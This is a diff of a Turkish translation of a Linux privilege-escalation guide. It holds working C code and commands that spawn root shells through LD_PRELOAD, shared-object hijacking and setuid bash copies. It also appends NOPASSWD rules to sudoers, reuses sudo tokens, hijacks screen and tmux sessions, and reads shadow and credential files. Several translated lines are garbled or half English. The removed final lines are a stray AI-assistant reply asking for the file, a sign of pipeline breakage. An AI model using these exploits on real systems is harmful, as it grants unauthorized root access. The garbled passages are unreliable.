-- suid/sgid olan yürütülebilirler için yalnızca standart dizinlerde bulunan ve ayrıca suid/sgid olan kütüphaneler önceden yüklenir.
+- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_).
+- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.
-Eğer `sudo` ile komut çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa ayrıcalık yükseltmesi meydana gelebilir. Bu yapılandırma, `sudo` ile komutlar çalıştırılırken bile **LD_PRELOAD** ortam değişkeninin korunmasına ve tanınmasına izin verir; bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kod yürütülmesine yol açabilir.
+Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.
```
Defaults env_keep += LD_PRELOAD
```
-Şu isimle kaydedin: **/tmp/pe.c**
+Şu isimle kaydet: **/tmp/pe.c**
```c
#include
#include
@@ -893,17 +892,17 @@ setuid(0);
system("/bin/bash");
}
```
-Sonra **bunu derleyin** şu komutu kullanarak:
+Daha sonra **compile it** kullanarak:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-Son olarak, çalıştırarak **ayrıcalıkları yükseltin**
+Son olarak, **escalate privileges** çalıştırarak
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable'ını kontrol ederse kötüye kullanılabilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder.
+> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable'ini kontrol ederse kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder.
```c
#include
#include
@@ -925,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-Olağandışı görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını doğru şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir:
+Olağan dışı görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, doğru şekilde **.so** dosyalarını yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak istismar için potansiyel olduğunu gösterir.
+Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak potansiyel bir istismar olanağına işaret eder.
-Bunu istismar etmek için, aşağıdaki kodu içeren bir C dosyası oluşturulur; örneğin _"/path/to/.config/libcalc.c"_:
+Bunu istismar etmek için, örneğin _"/path/to/.config/libcalc.c"_ adında bir C dosyası oluşturulur; dosya aşağıdaki kodu içer:
```c
#include
#include
@@ -942,13 +941,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar.
+Bu kod, derlenip çalıştırıldığında, dosya izinlerini değiştirerek ve ayrıcalıklı bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar.
Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetikleyecek ve potansiyel olarak sistemin ele geçirilmesine yol açacaktır.
+Son olarak, etkilenen SUID binary'nin çalıştırılması exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir.
## Shared Object Hijacking
```bash
@@ -960,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-Artık yazabileceğimiz bir folder'dan library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'yi o folder'a oluşturalım:
+Artık yazma iznimizin olduğu bir klasörden kütüphane yükleyen bir SUID binary bulduğumuza göre, o klasöre gerekli isimle kütüphaneyi oluşturalım:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -973,7 +972,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
-Eğer aşağıdaki gibi bir hata alırsanız
+Aşağıdaki gibi bir hata alırsanız
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@@ -981,16 +980,15 @@ bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) Unix ikili dosyalarının, bir saldırgan tarafından yerel güvenlik kısıtlamalarını aşmak için sömürülebileceği öğelerin derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) aynı şeydir ancak bir komuta **sadece argüman enjekte edebildiğiniz** durumlar içindir.
+[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından istismar edilebilecek Unix ikili dosyalarının özenle hazırlanmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) aynı şeyi yapar ancak bir komutta **yalnızca argüman enjekte edebildiğiniz** durumlar içindir.
-Proje, restricted shells'den çıkmak, ayrıcalıkları yükseltmek veya sürdürmek, dosya transferi yapmak, bind ve reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar.
+Proje, kısıtlı shell'lerden kaçma, ayrıcalıkları yükseltme veya sürdürme, dosya transferi, bind ve reverse shell oluşturma ve diğer post-exploitation görevlerini kolaylaştırma amaçlı olarak kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
-
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
@@ -1002,55 +1000,56 @@ https://gtfoargs.github.io/
### FallOfSudo
-Eğer `sudo -l` erişiminiz varsa, herhangi bir sudo kuralını nasıl sömürebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz.
+Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl istismar edebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz.
-### Reusing Sudo Tokens
+### Sudo Tokenlarının Yeniden Kullanımı
-Parolasını bilmediğiniz durumlarda, **sudo access**'iniz varsa, ayrıcalıkları bir sudo komutunun çalıştırılmasını bekleyip ardından oturum token'ını ele geçirerek yükseltebilirsiniz.
+Parolası olmadan **sudo access**'e sahip olduğunuz durumlarda, bir sudo komutu çalıştırılmasını bekleyip ardından oturum token'ını ele geçirerek ayrıcalıkları yükseltebilirsiniz.
-Requirements to escalate privileges:
+Ayrıcalıkları yükseltmek için gereksinimler:
-- Zaten "_sampleuser_" kullanıcısı olarak bir shell'e sahipsiniz
-- "_sampleuser_" son **15 dakika** içinde `sudo` kullanarak bir şey çalıştırdı (varsayılan olarak bu, parola girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir)
-- `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalıdır
-- `gdb` erişilebilir olmalı (yükleyebilirsiniz)
+- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz
+- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalıdır** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamızı sağlayan sudo token'ının süresidir)
+- `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı
+- `gdb` erişilebilir olmalı (yükleyebilmelisiniz)
-(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz)
+(Geçici olarak `ptrace_scope`'u aktifleştirmek için `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` komutunu kullanabilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz)
-If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+Eğer tüm bu gereksinimler karşılanmışsa, **aşağıdakini kullanarak ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- The **first exploit** (`exploit.sh`) _/tmp_ dizinine `activate_sudo_token` ikilisini oluşturacaktır. Bunu oturumunuzda **sudo token'ını aktifleştirmek** için kullanabilirsiniz (otomatik olarak root shell elde etmeyeceksiniz, `sudo su` yapın):
+- İlk **exploit** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` ikili dosyasını oluşturacaktır. Bunu oturumunuzdaki sudo token'ını etkinleştirmek için kullanabilirsiniz (otomatik olarak root shell elde etmeyeceksiniz; `sudo su` yapın):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- **ikinci exploit** (`exploit_v2.sh`) _/tmp_ içinde **root sahipliğinde ve setuid ile** bir sh shell oluşturacak.
+- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde **root'a ait ve setuid'li** bir sh shell oluşturacaktır
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- Üçüncü **exploit** (`exploit_v3.sh`) **sudoers file oluşturacak** ve bu dosya **sudo token'larını sonsuz hale getirip tüm kullanıcıların sudo kullanmasına izin verecek**
+- **Üçüncü exploit** (`exploit_v3.sh`) **sudoers file oluşturacak** ve **sudo tokens'i süresiz kılar ve tüm kullanıcıların sudo kullanmasına izin verir**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **write permissions**'a sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) kullanarak **create a sudo token for a user and PID** oluşturabilirsiniz.\
-Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını overwrite edebiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan **obtain sudo privileges** elde edebilirsiniz şu şekilde:
+Klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izniniz** varsa, [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikilisini kullanarak bir kullanıcı ve PID için **sudo token oluşturabilirsiniz**.\
+
+Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan aşağıdakini yaparak **sudo ayrıcalıkları elde edebilirsiniz**:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
-Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve bunun nasıl yapılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca kullanıcı root ve grup root tarafından okunabilir**.\
-**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgilere **ulaşabilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz.
+The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. Bu dosyalar **varsayılan olarak sadece root kullanıcısı ve root grubu tarafından okunabilir**.\
+**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgileri **elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **yetki yükseltme** yapabilirsiniz.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
-Yazabiliyorsanız bu izni kötüye kullanabilirsiniz.
+Yazabiliyorsanız bu izni kötüye kullanabilirsiniz
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@@ -1064,17 +1063,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-OpenBSD için `doas` gibi `sudo` binary'sine bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'da kontrol etmeyi unutmayın.
+OpenBSD için `doas` gibi `sudo` binary'sine bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın.
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Eğer bir **kullanıcının genellikle bir makineye bağlanıp yetki yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu çalıştıracak **yeni bir sudo executable** oluşturabilirsiniz. Ardından, kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu `.bash_profile`'a ekleyerek) değiştirin ki kullanıcı `sudo` çalıştırdığında sizin sudo yürütülebilir dosyanız çalışsın.
+Eğer bir **kullanıcının genellikle bir makineye bağlanıp `sudo` kullanarak** ayrıcalık yükselttiğini biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo yürütülebilir dosyası **oluşturabilirsiniz**. Sonra, kullanıcı bağlamının **$PATH**'ini değiştirin (örneğin yeni yolu `.bash_profile` içine ekleyerek) böylece kullanıcı sudo çalıştırdığında sizin sudo yürütülebilir dosyanız çalıştırılır.
-Not: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
+Dikkat edin: kullanıcı farklı bir shell (bash değil) kullanıyorsa, yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
-Ya da şöyle bir şey çalıştırmak:
+Veya şöyle bir şey çalıştırmak:
```bash
cat >/tmp/sudo < (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır.
+lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği üzere program tarafından bu konumda kullanılacaktır.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1125,7 +1124,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
-Ardından `/var/tmp` içinde şu komutla kötü amaçlı bir kütüphane oluşturun `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
+Ardından `/var/tmp` içinde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun.
```c
#include
#define SHELL "/bin/sh"
@@ -1140,8 +1139,8 @@ execve(file,argv,0);
```
## Yetkiler
-Linux yetkileri bir sürece mevcut root ayrıcalıklarının **bir alt kümesini sağlar**. Bu, root ayrıcalıklarını **daha küçük ve ayırt edici birimlere** ayırır. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu sayede ayrıcalıkların tamamı azaltılır ve istismar riskleri düşürülür.\
-Aşağıdaki sayfayı okuyarak **yetkiler hakkında ve bunların nasıl kötüye kullanılacağı hakkında daha fazla bilgi edinin**:
+Linux capabilities, bir sürece mevcut root **ayrıcalıklarının bir alt kümesini sağlar**. Bu, root ayrıcalıklarını etkili bir şekilde **daha küçük ve ayırt edici birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu sayede tam ayrıcalık seti azaltılır ve exploitation riskleri düşer.\
+Aşağıdaki sayfayı okuyarak **capabilities hakkında ve bunların nasıl kötüye kullanılabileceği hakkında daha fazla bilgi edinin**:
{{#ref}}
@@ -1150,47 +1149,47 @@ linux-capabilities.md
## Dizin izinleri
-Bir dizinde, **"çalıştırma" biti** etkilenen kullanıcının "**cd**" ile klasöre girebileceğini gösterir.\
-**"okuma"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"yazma"** biti kullanıcının **yeni dosyaları silme** ve **oluşturma** yetkisine sahip olduğunu gösterir.
+Bir dizinde, **"execute" biti** etkilenen kullanıcının "**cd**" ile klasöre girebileceği anlamına gelir.\
+**"read"** biti kullanıcının **dosyaları** **listeleyebileceğini**, ve **"write"** biti kullanıcının yeni **dosyaları** **silip** ve **oluşturabileceğini** ifade eder.
## ACLs
-Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara hak verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **ince ayrıntı daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakabilirsiniz.
+Erişim Kontrol Listeleri (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilecek** yetenektedir. Bu izinler, sahip olmayan veya grubun bir parçası olmayan belirli kullanıcılara hak tanıyarak veya reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu düzeydeki **granülerlik daha hassas erişim yönetimini sağlar**. Daha fazla ayrıntı için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakın.
-**Verin** kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri:
+**Verin** kullanıcı "kali"ya bir dosya üzerinde okuma ve yazma izinleri:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
```
-**Al** sistemden belirli ACLs'ye sahip dosyaları:
+**Sistemde belirli ACLs içeren dosyaları alın:**
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
-## Açık shell sessions
+## Açık shell oturumları
-Eski sürümlerde farklı bir kullanıcının (**root**) bazı **shell** sessionlarını **hijack** edebilirsiniz.\
-**En yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen session'larına **connect** olabilirsiniz. Ancak **session içinde ilginç bilgiler** bulabilirsiniz.
+**eski sürümlerde** başka bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\
+**en yeni sürümlerde** yalnızca **kendi kullanıcı hesabınızın** **screen** oturumlarına **connect** edebileceksiniz. Ancak **session içinde ilginç bilgiler** bulabilirsiniz.
### screen sessions hijacking
-**Screen sessions'i listele**
+**List screen sessions**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
```
.png>)
-**Bir oturuma bağlan**
+**Session'a bağlan**
```bash
screen -dr #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
-## tmux sessions hijacking
+## tmux oturumlarının ele geçirilmesi
-Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Bir ayrıcalıksız kullanıcı olarak root tarafından oluşturulmuş bir tmux (v2.1) oturumunu hijack edemedim.
+Bu, **old tmux versions** ile ilgili bir sorundu. Root tarafından oluşturulan tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim.
**tmux oturumlarını listele**
```bash
@@ -1210,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-Örnek için **Valentine box from HTB**'a bakın.
+Örnek için **Valentine box from HTB**'e bakın.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
-Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\
-Bu hata, bu OS'lerde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olarak karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şuradan bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+2006 Eylül ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.
+Bu hata, söz konusu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
-- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
-- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
-- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
+- **PasswordAuthentication:** Password authentication'ın izin verilip verilmediğini belirtir. Varsayılan `no`.
+- **PubkeyAuthentication:** Public key authentication'ın izin verilip verilmediğini belirtir. Varsayılan `yes`.
+- **PermitEmptyPasswords**: Password authentication izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`.
### PermitRootLogin
-Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler:
+Root'un ssh ile giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler:
-- `yes`: root parola ve private key ile giriş yapabilir
-- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir
-- `forced-commands-only`: Root sadece private key ile ve command seçenekleri belirtilmişse giriş yapabilir
-- `no` : hayır
+- `yes`: root parola ve private key kullanarak giriş yapabilir
+- `without-password` or `prohibit-password`: root yalnızca private key ile giriş yapabilir
+- `forced-commands-only`: root sadece private key ile ve komut seçenekleri belirtilmişse giriş yapabilir
+- `no`: girişe izin vermez
### AuthorizedKeysFile
-Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi home dizini ile değiştirilecek token'lar içerebilir. **Absolute path'leri belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home'undan göreli yollar**. Örneğin:
+Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bunlar home dizini ile değiştirilecektir. **Mutlak yollar ( `/` ile başlayan) belirtebilirsiniz** veya **kullanıcının home dizininden göreli yollar**. For example:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Bu yapılandırma, eğer kullanıcı "**testusername**"ın **özel** anahtarıyla giriş yapmaya çalışırsanız, ssh'in anahtarınızın açık anahtarını `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindeki anahtarlarla karşılaştıracağını belirtir.
+Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız ssh'in sizin anahtarınızın public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindeki anahtarlarla karşılaştıracağını belirtir.
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding, sunucunuzda (parola koruması olmadan!) anahtarlar bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza** izin verir. Böylece ssh ile **bir host'a atlayabilir** ve oradan **başka bir host'a** **başlangıç hostunuzda** bulunan **anahtarı kullanarak** erişebilirsiniz.
+SSH agent forwarding, sunucunuzda (without passphrases!) key bırakmak yerine **use your local SSH keys instead of leaving keys** yapmanızı sağlar. Böylece ssh ile bir **host**'a **jump** yapabilir ve oradan başka bir **host**'a **jump to another** yaparken **using** the **key** located in your **initial host** kullanabilirsiniz.
-You need to set this option in `$HOME/.ssh.config` like this:
+Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir:
```
Host example.com
ForwardAgent yes
```
-Dikkat edin: eğer `Host` `*` ise kullanıcı farklı bir makineye her bağlandığında o host anahtarlara erişebilecek (bu bir güvenlik sorunudur).
+Dikkat: `Host` `*` ise, kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur).
-Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya engelleyebilir.\
-Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent forwarding'i **izin verecek** veya **engelleyecek** şekilde yapılandırabilir (varsayılan izinlidir).
+Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya reddedebilir.\
+Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesiyle ssh-agent forwarding'e **izin verebilir** veya **engelleyebilir** (varsayılan: izin verilir).
-Eğer bir ortamda Forward Agent yapılandırılmış olduğunu görürseniz aşağıdaki sayfayı okuyun çünkü **bunu kötüye kullanarak ayrıcalıkları yükseltebilirsiniz**:
+If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**:
{{#ref}}
@@ -1267,22 +1266,22 @@ ssh-forward-agent-exploitation.md
### Profil dosyaları
-Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında yürütülen **betiklerdir**. Bu nedenle, bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**.
+Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell açtığında **çalıştırılan betiklerdir**. Bu nedenle, bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-If any weird profile script is found you should check it for **hassas detaylar**.
+Eğer garip bir profil betiği bulunursa, **hassas detaylar** için kontrol etmelisiniz.
-### Passwd/Shadow Dosyaları
+### Passwd/Shadow Files
-İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle **hepsini bulun** ve **okuyup okuyamadığınızı kontrol edin** — dosyaların içinde **if there are hashes** olup olmadığını görmek için:
+İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği bulunabilir. Bu nedenle **bunların hepsini bulun** ve **okuyup okuyamayacağınızı kontrol edin**, dosyaların içinde **hashes** olup olmadığını görmek için:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-Bazı durumlarda `/etc/passwd` (veya eşdeğeri) dosyasının içinde **password hashes** bulabilirsiniz.
+Bazı durumlarda `/etc/passwd` (veya eşdeğer bir dosya) içinde **password hashes** bulunabilir.
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@@ -1294,19 +1293,13 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-Dosyayı çevirmem için src/linux-hardening/privilege-escalation/README.md içeriğini gönderir misiniz? Mevcut dosya içeriği olmadan doğru ve tam çeviri yapamam.
-
-Ayrıca "Then add the user `hacker` and add the generated password." ifadesiyle ne istediğinizi netleştirmek istiyorum:
